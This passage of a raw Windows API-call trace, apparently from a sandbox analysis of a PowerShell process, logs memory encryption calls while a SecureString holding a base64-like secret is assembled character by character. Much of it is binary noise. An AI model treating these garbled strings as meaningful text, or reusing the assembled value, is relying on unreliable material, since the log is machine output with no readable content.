(param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b\x8fd3\xe4e3\x6ae3\x2377\xe320\x4ae6\xa887\x8b28") returned 0x30 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b\x8fd3\xe4e3\x6ae3\x2377\xe320\x4ae6\xa887\x8b28") returned 0x30 [0133.239] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.239] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEzRbXwwY=孜Ⲿɀ렩") returned 0x30 [0133.239] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.240] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.240] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.240] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.240] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.240] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.240] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.240] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.240] SysStringLen (param_1="") returned 0x8 [0133.240] SysStringLen (param_1="Y") returned 0x8 [0133.240] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.240] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.240] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.241] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="YW") returned 0x8 [0133.241] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.241] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.241] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="YWM") returned 0x8 [0133.241] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.241] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.241] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="YWM1") returned 0x8 [0133.241] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.241] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.241] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="YWM1O") returned 0x8 [0133.241] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.241] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.241] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.241] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.241] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.242] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.242] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.242] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.242] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.242] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.242] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.242] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.242] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.242] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.242] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.242] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.242] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.242] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.242] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.242] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.242] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.242] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.242] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.242] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.242] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.243] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.243] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.243] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.243] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.243] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.243] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.243] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.243] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.243] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.243] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.243] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.244] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.244] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.244] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.244] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.244] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.244] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.244] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.244] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.244] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.245] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.245] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.245] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.245] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.245] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.245] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.245] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.245] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.245] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.246] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.246] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.246] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.246] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.246] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.246] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.246] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.246] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.246] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.246] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.246] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.246] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.246] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.246] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.247] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.247] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.247] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.247] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.247] SysStringLen 